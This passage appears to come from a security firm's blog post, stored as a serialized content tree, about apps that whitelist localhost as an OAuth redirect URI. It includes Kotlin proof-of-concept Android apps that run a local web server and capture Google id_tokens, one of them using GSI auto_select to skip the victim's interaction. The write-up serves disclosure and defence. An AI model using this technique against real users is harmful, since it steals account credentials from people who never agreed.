",{"type":24,"tag":135,"props":106826,"children":106828},{"className":106827},[],[106829],{"type":29,"value":47803},{"type":29,"value":106831}," query parameter.",{"type":24,"tag":25,"props":106833,"children":106834},{},[106835,106837,106842,106844,106849],{"type":29,"value":106836},"In the old flow, the ",{"type":24,"tag":135,"props":106838,"children":106840},{"className":106839},[],[106841],{"type":29,"value":76553},{"type":29,"value":106843}," parameter passed in the ",{"type":24,"tag":135,"props":106845,"children":106847},{"className":106846},[],[106848],{"type":29,"value":106822},{"type":29,"value":106850}," endpoint is validated against the authorized redirect URIs.",{"type":24,"tag":25,"props":106852,"children":106853},{},[106854,106856,106861,106863,106870],{"type":29,"value":106855},"Note that the new GSI flow can also have a different flow using ",{"type":24,"tag":135,"props":106857,"children":106859},{"className":106858},[],[106860],{"type":29,"value":76553},{"type":29,"value":106862}," validation. To execute this flow, you need to specify ",{"type":24,"tag":32,"props":106864,"children":106867},{"href":106865,"rel":106866},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[36],[106868],{"type":29,"value":106869},"login_uri",{"type":29,"value":106871}," while using the SDK.",{"type":24,"tag":85,"props":106873,"children":106875},{"id":106874},"localhost-exploit",[106876],{"type":29,"value":106877},"Localhost Exploit",{"type":24,"tag":25,"props":106879,"children":106880},{},[106881,106883,106889],{"type":29,"value":106882},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":24,"tag":135,"props":106884,"children":106886},{"className":106885},[],[106887],{"type":29,"value":106888},"localhost",{"type":29,"value":106890}," origin because it is considered trusted for local testing.",{"type":24,"tag":25,"props":106892,"children":106893},{},[106894],{"type":29,"value":106895},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":24,"tag":26585,"props":106897,"children":106899},{"id":106898},"exploit",[106900],{"type":29,"value":106901},"Exploit",{"type":24,"tag":25,"props":106903,"children":106904},{},[106905,106907,106912,106913,106919],{"type":29,"value":106906},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":24,"tag":135,"props":106908,"children":106910},{"className":106909},[],[106911],{"type":29,"value":106769},{"type":29,"value":20834},{"type":24,"tag":135,"props":106914,"children":106916},{"className":106915},[],[106917],{"type":29,"value":106918},"location.search",{"type":29,"value":106920},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":24,"tag":261,"props":106922,"children":106926},{"className":106923,"code":106924,"language":106925,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[106927],{"type":24,"tag":135,"props":106928,"children":106929},{"__ignoreMap":7},[106930,106959,106978,106985,106992,107011,107022,107033,107064,107087,107134,107141,107148,107155,107162,107182,107213,107224,107231,107238,107257,107280,107291,107310,107325,107336,107359,107394,107413,107420,107431,107454,107465,107477,107484,107491,107498,107505,107512,107539],{"type":24,"tag":271,"props":106931,"children":106932},{"class":273,"line":274},[106933,106938,106942,106946,106950,106954],{"type":24,"tag":271,"props":106934,"children":106935},{"style":278},[106936],{"type":29,"value":106937}," override",{"type":24,"tag":271,"props":106939,"children":106940},{"style":278},[106941],{"type":29,"value":13924},{"type":24,"tag":271,"props":106943,"children":106944},{"style":598},[106945],{"type":29,"value":77241},{"type":24,"tag":271,"props":106947,"children":106948},{"style":288},[106949],{"type":29,"value":77246},{"type":24,"tag":271,"props":106951,"children":106952},{"style":3887},[106953],{"type":29,"value":77251},{"type":24,"tag":271,"props":106955,"children":106956},{"style":288},[106957],{"type":29,"value":106958},"?){\n",{"type":24,"tag":271,"props":106960,"children":106961},{"class":273,"line":284},[106962,106966,106970,106974],{"type":24,"tag":271,"props":106963,"children":106964},{"style":278},[106965],{"type":29,"value":77264},{"type":24,"tag":271,"props":106967,"children":106968},{"style":288},[106969],{"type":29,"value":41},{"type":24,"tag":271,"props":106971,"children":106972},{"style":598},[106973],{"type":29,"value":77273},{"type":24,"tag":271,"props":106975,"children":106976},{"style":288},[106977],{"type":29,"value":77278},{"type":24,"tag":271,"props":106979,"children":106980},{"class":273,"line":294},[106981],{"type":24,"tag":271,"props":106982,"children":106983},{"emptyLinePlaceholder":16},[106984],{"type":29,"value":327},{"type":24,"tag":271,"props":106986,"children":106987},{"class":273,"line":303},[106988],{"type":24,"tag":271,"props":106989,"children":106990},{"style":2058},[106991],{"type":29,"value":77293},{"type":24,"tag":271,"props":106993,"children":106994},{"class":273,"line":312},[106995,106999,107003,107007],{"type":24,"tag":271,"props":106996,"children":106997},{"style":598},[106998],{"type":29,"value":77301},{"type":24,"tag":271,"props":107000,"children":107001},{"style":288},[107002],{"type":29,"value":77306},{"type":24,"tag":271,"props":107004,"children":107005},{"style":598},[107006],{"type":29,"value":77311},{"type":24,"tag":271,"props":107008,"children":107009},{"style":288},[107010],{"type":29,"value":7145},{"type":24,"tag":271,"props":107012,"children":107013},{"class":273,"line":321},[107014,107018],{"type":24,"tag":271,"props":107015,"children":107016},{"style":749},[107017],{"type":29,"value":77323},{"type":24,"tag":271,"props":107019,"children":107020},{"style":288},[107021],{"type":29,"value":7145},{"type":24,"tag":271,"props":107023,"children":107024},{"class":273,"line":330},[107025,107029],{"type":24,"tag":271,"props":107026,"children":107027},{"style":598},[107028],{"type":29,"value":77335},{"type":24,"tag":271,"props":107030,"children":107031},{"style":288},[107032],{"type":29,"value":15452},{"type":24,"tag":271,"props":107034,"children":107035},{"class":273,"line":339},[107036,107040,107044,107048,107052,107056,107060],{"type":24,"tag":271,"props":107037,"children":107038},{"style":288},[107039],{"type":29,"value":77347},{"type":24,"tag":271,"props":107041,"children":107042},{"style":598},[107043],{"type":29,"value":77352},{"type":24,"tag":271,"props":107045,"children":107046},{"style":288},[107047],{"type":29,"value":606},{"type":24,"tag":271,"props":107049,"children":107050},{"style":378},[107051],{"type":29,"value":77361},{"type":24,"tag":271,"props":107053,"children":107054},{"style":288},[107055],{"type":29,"value":158},{"type":24,"tag":271,"props":107057,"children":107058},{"style":378},[107059],{"type":29,"value":77370},{"type":24,"tag":271,"props":107061,"children":107062},{"style":288},[107063],{"type":29,"value":694},{"type":24,"tag":271,"props":107065,"children":107066},{"class":273,"line":347},[107067,107071,107075,107079,107083],{"type":24,"tag":271,"props":107068,"children":107069},{"style":288},[107070],{"type":29,"value":77382},{"type":24,"tag":271,"props":107072,"children":107073},{"style":278},[107074],{"type":29,"value":56076},{"type":24,"tag":271,"props":107076,"children":107077},{"style":288},[107078],{"type":29,"value":77391},{"type":24,"tag":271,"props":107080,"children":107081},{"style":3887},[107082],{"type":29,"value":77396},{"type":24,"tag":271,"props":107084,"children":107085},{"style":288},[107086],{"type":29,"value":919},{"type":24,"tag":271,"props":107088,"children":107089},{"class":273,"line":356},[107090,107094,107098,107102,107106,107110,107114,107118,107122,107126,107130],{"type":24,"tag":271,"props":107091,"children":107092},{"style":288},[107093],{"type":29,"value":77347},{"type":24,"tag":271,"props":107095,"children":107096},{"style":598},[107097],{"type":29,"value":1026},{"type":24,"tag":271,"props":107099,"children":107100},{"style":288},[107101],{"type":29,"value":606},{"type":24,"tag":271,"props":107103,"children":107104},{"style":378},[107105],{"type":29,"value":77361},{"type":24,"tag":271,"props":107107,"children":107108},{"style":288},[107109],{"type":29,"value":158},{"type":24,"tag":271,"props":107111,"children":107112},{"style":378},[107113],{"type":29,"value":77428},{"type":24,"tag":271,"props":107115,"children":107116},{"style":278},[107117],{"type":29,"value":41777},{"type":24,"tag":271,"props":107119,"children":107120},{"style":624},[107121],{"type":29,"value":77437},{"type":24,"tag":271,"props":107123,"children":107124},{"style":278},[107125],{"type":29,"value":41809},{"type":24,"tag":271,"props":107127,"children":107128},{"style":378},[107129],{"type":29,"value":5702},{"type":24,"tag":271,"props":107131,"children":107132},{"style":288},[107133],{"type":29,"value":77450},{"type":24,"tag":271,"props":107135,"children":107136},{"class":273,"line":365},[107137],{"type":24,"tag":271,"props":107138,"children":107139},{"style":288},[107140],{"type":29,"value":8554},{"type":24,"tag":271,"props":107142,"children":107143},{"class":273,"line":374},[107144],{"type":24,"tag":271,"props":107145,"children":107146},{"style":288},[107147],{"type":29,"value":7574},{"type":24,"tag":271,"props":107149,"children":107150},{"class":273,"line":384},[107151],{"type":24,"tag":271,"props":107152,"children":107153},{"emptyLinePlaceholder":16},[107154],{"type":29,"value":327},{"type":24,"tag":271,"props":107156,"children":107157},{"class":273,"line":393},[107158],{"type":24,"tag":271,"props":107159,"children":107160},{"style":2058},[107161],{"type":29,"value":77479},{"type":24,"tag":271,"props":107163,"children":107164},{"class":273,"line":402},[107165,107169,107173,107177],{"type":24,"tag":271,"props":107166,"children":107167},{"style":278},[107168],{"type":29,"value":77487},{"type":24,"tag":271,"props":107170,"children":107171},{"style":288},[107172],{"type":29,"value":77492},{"type":24,"tag":271,"props":107174,"children":107175},{"style":624},[107176],{"type":29,"value":762},{"type":24,"tag":271,"props":107178,"children":107179},{"style":378},[107180],{"type":29,"value":107181}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":271,"props":107183,"children":107184},{"class":273,"line":411},[107185,107189,107193,107197,107201,107205,107209],{"type":24,"tag":271,"props":107186,"children":107187},{"style":278},[107188],{"type":29,"value":77487},{"type":24,"tag":271,"props":107190,"children":107191},{"style":288},[107192],{"type":29,"value":77513},{"type":24,"tag":271,"props":107194,"children":107195},{"style":624},[107196],{"type":29,"value":762},{"type":24,"tag":271,"props":107198,"children":107199},{"style":598},[107200],{"type":29,"value":77522},{"type":24,"tag":271,"props":107202,"children":107203},{"style":288},[107204],{"type":29,"value":77527},{"type":24,"tag":271,"props":107206,"children":107207},{"style":598},[107208],{"type":29,"value":46879},{"type":24,"tag":271,"props":107210,"children":107211},{"style":288},[107212],{"type":29,"value":77536},{"type":24,"tag":271,"props":107214,"children":107215},{"class":273,"line":420},[107216,107220],{"type":24,"tag":271,"props":107217,"children":107218},{"style":598},[107219],{"type":29,"value":77544},{"type":24,"tag":271,"props":107221,"children":107222},{"style":288},[107223],{"type":29,"value":77549},{"type":24,"tag":271,"props":107225,"children":107226},{"class":273,"line":429},[107227],{"type":24,"tag":271,"props":107228,"children":107229},{"style":288},[107230],{"type":29,"value":4385},{"type":24,"tag":271,"props":107232,"children":107233},{"class":273,"line":438},[107234],{"type":24,"tag":271,"props":107235,"children":107236},{"emptyLinePlaceholder":16},[107237],{"type":29,"value":327},{"type":24,"tag":271,"props":107239,"children":107240},{"class":273,"line":447},[107241,107245,107249,107253],{"type":24,"tag":271,"props":107242,"children":107243},{"style":278},[107244],{"type":29,"value":77571},{"type":24,"tag":271,"props":107246,"children":107247},{"style":278},[107248],{"type":29,"value":13924},{"type":24,"tag":271,"props":107250,"children":107251},{"style":598},[107252],{"type":29,"value":77580},{"type":24,"tag":271,"props":107254,"children":107255},{"style":288},[107256],{"type":29,"value":23434},{"type":24,"tag":271,"props":107258,"children":107259},{"class":273,"line":455},[107260,107264,107268,107272,107276],{"type":24,"tag":271,"props":107261,"children":107262},{"style":598},[107263],{"type":29,"value":77592},{"type":24,"tag":271,"props":107265,"children":107266},{"style":288},[107267],{"type":29,"value":77597},{"type":24,"tag":271,"props":107269,"children":107270},{"style":624},[107271],{"type":29,"value":762},{"type":24,"tag":271,"props":107273,"children":107274},{"style":477},[107275],{"type":29,"value":77606},{"type":24,"tag":271,"props":107277,"children":107278},{"style":288},[107279],{"type":29,"value":919},{"type":24,"tag":271,"props":107281,"children":107282},{"class":273,"line":464},[107283,107287],{"type":24,"tag":271,"props":107284,"children":107285},{"style":598},[107286],{"type":29,"value":77618},{"type":24,"tag":271,"props":107288,"children":107289},{"style":288},[107290],{"type":29,"value":7145},{"type":24,"tag":271,"props":107292,"children":107293},{"class":273,"line":473},[107294,107298,107302,107306],{"type":24,"tag":271,"props":107295,"children":107296},{"style":278},[107297],{"type":29,"value":77630},{"type":24,"tag":271,"props":107299,"children":107300},{"style":288},[107301],{"type":29,"value":606},{"type":24,"tag":271,"props":107303,"children":107304},{"style":378},[107305],{"type":29,"value":77639},{"type":24,"tag":271,"props":107307,"children":107308},{"style":288},[107309],{"type":29,"value":919},{"type":24,"tag":271,"props":107311,"children":107312},{"class":273,"line":483},[107313,107317,107321],{"type":24,"tag":271,"props":107314,"children":107315},{"style":288},[107316],{"type":29,"value":77651},{"type":24,"tag":271,"props":107318,"children":107319},{"style":598},[107320],{"type":29,"value":77656},{"type":24,"tag":271,"props":107322,"children":107323},{"style":288},[107324],{"type":29,"value":7145},{"type":24,"tag":271,"props":107326,"children":107327},{"class":273,"line":491},[107328,107332],{"type":24,"tag":271,"props":107329,"children":107330},{"style":598},[107331],{"type":29,"value":77668},{"type":24,"tag":271,"props":107333,"children":107334},{"style":288},[107335],{"type":29,"value":7145},{"type":24,"tag":271,"props":107337,"children":107338},{"class":273,"line":499},[107339,107343,107347,107351,107355],{"type":24,"tag":271,"props":107340,"children":107341},{"style":598},[107342],{"type":29,"value":77680},{"type":24,"tag":271,"props":107344,"children":107345},{"style":288},[107346],{"type":29,"value":77685},{"type":24,"tag":271,"props":107348,"children":107349},{"style":624},[107350],{"type":29,"value":762},{"type":24,"tag":271,"props":107352,"children":107353},{"style":378},[107354],{"type":29,"value":77694},{"type":24,"tag":271,"props":107356,"children":107357},{"style":288},[107358],{"type":29,"value":694},{"type":24,"tag":271,"props":107360,"children":107361},{"class":273,"line":3188},[107362,107366,107370,107374,107378,107382,107386,107390],{"type":24,"tag":271,"props":107363,"children":107364},{"style":598},[107365],{"type":29,"value":77680},{"type":24,"tag":271,"props":107367,"children":107368},{"style":288},[107369],{"type":29,"value":77710},{"type":24,"tag":271,"props":107371,"children":107372},{"style":624},[107373],{"type":29,"value":762},{"type":24,"tag":271,"props":107375,"children":107376},{"style":378},[107377],{"type":29,"value":77719},{"type":24,"tag":271,"props":107379,"children":107380},{"style":288},[107381],{"type":29,"value":77724},{"type":24,"tag":271,"props":107383,"children":107384},{"style":624},[107385],{"type":29,"value":762},{"type":24,"tag":271,"props":107387,"children":107388},{"style":378},[107389],{"type":29,"value":77733},{"type":24,"tag":271,"props":107391,"children":107392},{"style":288},[107393],{"type":29,"value":694},{"type":24,"tag":271,"props":107395,"children":107396},{"class":273,"line":3247},[107397,107401,107405,107409],{"type":24,"tag":271,"props":107398,"children":107399},{"style":598},[107400],{"type":29,"value":77745},{"type":24,"tag":271,"props":107402,"children":107403},{"style":288},[107404],{"type":29,"value":606},{"type":24,"tag":271,"props":107406,"children":107407},{"style":378},[107408],{"type":29,"value":77754},{"type":24,"tag":271,"props":107410,"children":107411},{"style":288},[107412],{"type":29,"value":694},{"type":24,"tag":271,"props":107414,"children":107415},{"class":273,"line":3255},[107416],{"type":24,"tag":271,"props":107417,"children":107418},{"style":288},[107419],{"type":29,"value":77766},{"type":24,"tag":271,"props":107421,"children":107422},{"class":273,"line":3263},[107423,107427],{"type":24,"tag":271,"props":107424,"children":107425},{"style":598},[107426],{"type":29,"value":77774},{"type":24,"tag":271,"props":107428,"children":107429},{"style":288},[107430],{"type":29,"value":7145},{"type":24,"tag":271,"props":107432,"children":107433},{"class":273,"line":3293},[107434,107438,107442,107446,107450],{"type":24,"tag":271,"props":107435,"children":107436},{"style":598},[107437],{"type":29,"value":77786},{"type":24,"tag":271,"props":107439,"children":107440},{"style":288},[107441],{"type":29,"value":17293},{"type":24,"tag":271,"props":107443,"children":107444},{"style":624},[107445],{"type":29,"value":1012},{"type":24,"tag":271,"props":107447,"children":107448},{"style":378},[107449],{"type":29,"value":77799},{"type":24,"tag":271,"props":107451,"children":107452},{"style":288},[107453],{"type":29,"value":1163},{"type":24,"tag":271,"props":107455,"children":107456},{"class":273,"line":3301},[107457,107461],{"type":24,"tag":271,"props":107458,"children":107459},{"style":598},[107460],{"type":29,"value":77811},{"type":24,"tag":271,"props":107462,"children":107463},{"style":288},[107464],{"type":29,"value":7145},{"type":24,"tag":271,"props":107466,"children":107467},{"class":273,"line":3683},[107468,107472],{"type":24,"tag":271,"props":107469,"children":107470},{"style":624},[107471],{"type":29,"value":77823},{"type":24,"tag":271,"props":107473,"children":107474},{"style":378},[107475],{"type":29,"value":107476},"\"document.body.innerText = location.hash;\"\n",{"type":24,"tag":271,"props":107478,"children":107479},{"class":273,"line":4486},[107480],{"type":24,"tag":271,"props":107481,"children":107482},{"style":288},[107483],{"type":29,"value":77836},{"type":24,"tag":271,"props":107485,"children":107486},{"class":273,"line":4509},[107487],{"type":24,"tag":271,"props":107488,"children":107489},{"style":288},[107490],{"type":29,"value":77766},{"type":24,"tag":271,"props":107492,"children":107493},{"class":273,"line":4545},[107494],{"type":24,"tag":271,"props":107495,"children":107496},{"style":288},[107497],{"type":29,"value":77851},{"type":24,"tag":271,"props":107499,"children":107500},{"class":273,"line":4591},[107501],{"type":24,"tag":271,"props":107502,"children":107503},{"style":288},[107504],{"type":29,"value":77859},{"type":24,"tag":271,"props":107506,"children":107507},{"class":273,"line":4628},[107508],{"type":24,"tag":271,"props":107509,"children":107510},{"style":288},[107511],{"type":29,"value":8554},{"type":24,"tag":271,"props":107513,"children":107514},{"class":273,"line":4658},[107515,107519,107523,107527,107531,107535],{"type":24,"tag":271,"props":107516,"children":107517},{"style":288},[107518],{"type":29,"value":77874},{"type":24,"tag":271,"props":107520,"children":107521},{"style":598},[107522],{"type":29,"value":77879},{"type":24,"tag":271,"props":107524,"children":107525},{"style":288},[107526],{"type":29,"value":77884},{"type":24,"tag":271,"props":107528,"children":107529},{"style":624},[107530],{"type":29,"value":762},{"type":24,"tag":271,"props":107532,"children":107533},{"style":278},[107534],{"type":29,"value":1717},{"type":24,"tag":271,"props":107536,"children":107537},{"style":288},[107538],{"type":29,"value":694},{"type":24,"tag":271,"props":107540,"children":107541},{"class":273,"line":4666},[107542],{"type":24,"tag":271,"props":107543,"children":107544},{"style":288},[107545],{"type":29,"value":4385},{"type":24,"tag":25,"props":107547,"children":107548},{},[107549],{"type":29,"value":107550},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":24,"tag":25,"props":107552,"children":107553},{},[107554,107556,107562],{"type":29,"value":107555},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":24,"tag":135,"props":107557,"children":107559},{"className":107558},[],[107560],{"type":29,"value":107561},"auto_select",{"type":29,"value":107563}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":24,"tag":261,"props":107565,"children":107567},{"className":106923,"code":107566,"language":106925,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[107568],{"type":24,"tag":135,"props":107569,"children":107570},{"__ignoreMap":7},[107571,107598,107617,107624,107643,107654,107665,107696,107719,107766,107773,107780,107787,107827,107838,107845,107852,107871,107894,107905,107924,107939,107950,107970,107981,107998,108024,108048,108055,108066,108078,108091,108099,108107,108114,108121,108129,108137,108145,108153,108161,108169,108177,108184,108191,108199,108207,108215,108222,108229,108237,108244,108265,108273,108280,108287,108298,108322,108334,108351,108358,108365,108373,108381,108389,108417],{"type":24,"tag":271,"props":107572,"children":107573},{"class":273,"line":274},[107574,107578,107582,107586,107590,107594],{"type":24,"tag":271,"props":107575,"children":107576},{"style":278},[107577],{"type":29,"value":77232},{"type":24,"tag":271,"props":107579,"children":107580},{"style":278},[107581],{"type":29,"value":13924},{"type":24,"tag":271,"props":107583,"children":107584},{"style":598},[107585],{"type":29,"value":77241},{"type":24,"tag":271,"props":107587,"children":107588},{"style":288},[107589],{"type":29,"value":77246},{"type":24,"tag":271,"props":107591,"children":107592},{"style":3887},[107593],{"type":29,"value":77251},{"type":24,"tag":271,"props":107595,"children":107596},{"style":288},[107597],{"type":29,"value":77256},{"type":24,"tag":271,"props":107599,"children":107600},{"class":273,"line":284},[107601,107605,107609,107613],{"type":24,"tag":271,"props":107602,"children":107603},{"style":278},[107604],{"type":29,"value":77264},{"type":24,"tag":271,"props":107606,"children":107607},{"style":288},[107608],{"type":29,"value":41},{"type":24,"tag":271,"props":107610,"children":107611},{"style":598},[107612],{"type":29,"value":77273},{"type":24,"tag":271,"props":107614,"children":107615},{"style":288},[107616],{"type":29,"value":77278},{"type":24,"tag":271,"props":107618,"children":107619},{"class":273,"line":294},[107620],{"type":24,"tag":271,"props":107621,"children":107622},{"emptyLinePlaceholder":16},[107623],{"type":29,"value":327},{"type":24,"tag":271,"props":107625,"children":107626},{"class":273,"line":303},[107627,107631,107635,107639],{"type":24,"tag":271,"props":107628,"children":107629},{"style":598},[107630],{"type":29,"value":77301},{"type":24,"tag":271,"props":107632,"children":107633},{"style":288},[107634],{"type":29,"value":77306},{"type":24,"tag":271,"props":107636,"children":107637},{"style":598},[107638],{"type":29,"value":77311},{"type":24,"tag":271,"props":107640,"children":107641},{"style":288},[107642],{"type":29,"value":7145},{"type":24,"tag":271,"props":107644,"children":107645},{"class":273,"line":312},[107646,107650],{"type":24,"tag":271,"props":107647,"children":107648},{"style":749},[107649],{"type":29,"value":77323},{"type":24,"tag":271,"props":107651,"children":107652},{"style":288},[107653],{"type":29,"value":7145},{"type":24,"tag":271,"props":107655,"children":107656},{"class":273,"line":321},[107657,107661],{"type":24,"tag":271,"props":107658,"children":107659},{"style":598},[107660],{"type":29,"value":77335},{"type":24,"tag":271,"props":107662,"children":107663},{"style":288},[107664],{"type":29,"value":15452},{"type":24,"tag":271,"props":107666,"children":107667},{"class":273,"line":330},[107668,107672,107676,107680,107684,107688,107692],{"type":24,"tag":271,"props":107669,"children":107670},{"style":288},[107671],{"type":29,"value":77347},{"type":24,"tag":271,"props":107673,"children":107674},{"style":598},[107675],{"type":29,"value":77352},{"type":24,"tag":271,"props":107677,"children":107678},{"style":288},[107679],{"type":29,"value":606},{"type":24,"tag":271,"props":107681,"children":107682},{"style":378},[107683],{"type":29,"value":77361},{"type":24,"tag":271,"props":107685,"children":107686},{"style":288},[107687],{"type":29,"value":158},{"type":24,"tag":271,"props":107689,"children":107690},{"style":378},[107691],{"type":29,"value":77370},{"type":24,"tag":271,"props":107693,"children":107694},{"style":288},[107695],{"type":29,"value":694},{"type":24,"tag":271,"props":107697,"children":107698},{"class":273,"line":339},[107699,107703,107707,107711,107715],{"type":24,"tag":271,"props":107700,"children":107701},{"style":288},[107702],{"type":29,"value":77382},{"type":24,"tag":271,"props":107704,"children":107705},{"style":278},[107706],{"type":29,"value":56076},{"type":24,"tag":271,"props":107708,"children":107709},{"style":288},[107710],{"type":29,"value":77391},{"type":24,"tag":271,"props":107712,"children":107713},{"style":3887},[107714],{"type":29,"value":77396},{"type":24,"tag":271,"props":107716,"children":107717},{"style":288},[107718],{"type":29,"value":919},{"type":24,"tag":271,"props":107720,"children":107721},{"class":273,"line":347},[107722,107726,107730,107734,107738,107742,107746,107750,107754,107758,107762],{"type":24,"tag":271,"props":107723,"children":107724},{"style":288},[107725],{"type":29,"value":77347},{"type":24,"tag":271,"props":107727,"children":107728},{"style":598},[107729],{"type":29,"value":1026},{"type":24,"tag":271,"props":107731,"children":107732},{"style":288},[107733],{"type":29,"value":606},{"type":24,"tag":271,"props":107735,"children":107736},{"style":378},[107737],{"type":29,"value":77361},{"type":24,"tag":271,"props":107739,"children":107740},{"style":288},[107741],{"type":29,"value":158},{"type":24,"tag":271,"props":107743,"children":107744},{"style":378},[107745],{"type":29,"value":77428},{"type":24,"tag":271,"props":107747,"children":107748},{"style":278},[107749],{"type":29,"value":41777},{"type":24,"tag":271,"props":107751,"children":107752},{"style":624},[107753],{"type":29,"value":77437},{"type":24,"tag":271,"props":107755,"children":107756},{"style":278},[107757],{"type":29,"value":41809},{"type":24,"tag":271,"props":107759,"children":107760},{"style":378},[107761],{"type":29,"value":5702},{"type":24,"tag":271,"props":107763,"children":107764},{"style":288},[107765],{"type":29,"value":77450},{"type":24,"tag":271,"props":107767,"children":107768},{"class":273,"line":356},[107769],{"type":24,"tag":271,"props":107770,"children":107771},{"style":288},[107772],{"type":29,"value":8554},{"type":24,"tag":271,"props":107774,"children":107775},{"class":273,"line":365},[107776],{"type":24,"tag":271,"props":107777,"children":107778},{"style":288},[107779],{"type":29,"value":7574},{"type":24,"tag":271,"props":107781,"children":107782},{"class":273,"line":374},[107783],{"type":24,"tag":271,"props":107784,"children":107785},{"emptyLinePlaceholder":16},[107786],{"type":29,"value":327},{"type":24,"tag":271,"props":107788,"children":107789},{"class":273,"line":384},[107790,107794,107798,107802,107806,107810,107814,107818,107823],{"type":24,"tag":271,"props":107791,"children":107792},{"style":278},[107793],{"type":29,"value":77487},{"type":24,"tag":271,"props":107795,"children":107796},{"style":288},[107797],{"type":29,"value":77513},{"type":24,"tag":271,"props":107799,"children":107800},{"style":624},[107801],{"type":29,"value":762},{"type":24,"tag":271,"props":107803,"children":107804},{"style":598},[107805],{"type":29,"value":77522},{"type":24,"tag":271,"props":107807,"children":107808},{"style":288},[107809],{"type":29,"value":77527},{"type":24,"tag":271,"props":107811,"children":107812},{"style":598},[107813],{"type":29,"value":46879},{"type":24,"tag":271,"props":107815,"children":107816},{"style":288},[107817],{"type":29,"value":606},{"type":24,"tag":271,"props":107819,"children":107820},{"style":378},[107821],{"type":29,"value":107822},"\"http://localhost:3000\"",{"type":24,"tag":271,"props":107824,"children":107825},{"style":288},[107826],{"type":29,"value":27401},{"type":24,"tag":271,"props":107828,"children":107829},{"class":273,"line":393},[107830,107834],{"type":24,"tag":271,"props":107831,"children":107832},{"style":598},[107833],{"type":29,"value":77544},{"type":24,"tag":271,"props":107835,"children":107836},{"style":288},[107837],{"type":29,"value":77549},{"type":24,"tag":271,"props":107839,"children":107840},{"class":273,"line":402},[107841],{"type":24,"tag":271,"props":107842,"children":107843},{"style":288},[107844],{"type":29,"value":4385},{"type":24,"tag":271,"props":107846,"children":107847},{"class":273,"line":411},[107848],{"type":24,"tag":271,"props":107849,"children":107850},{"emptyLinePlace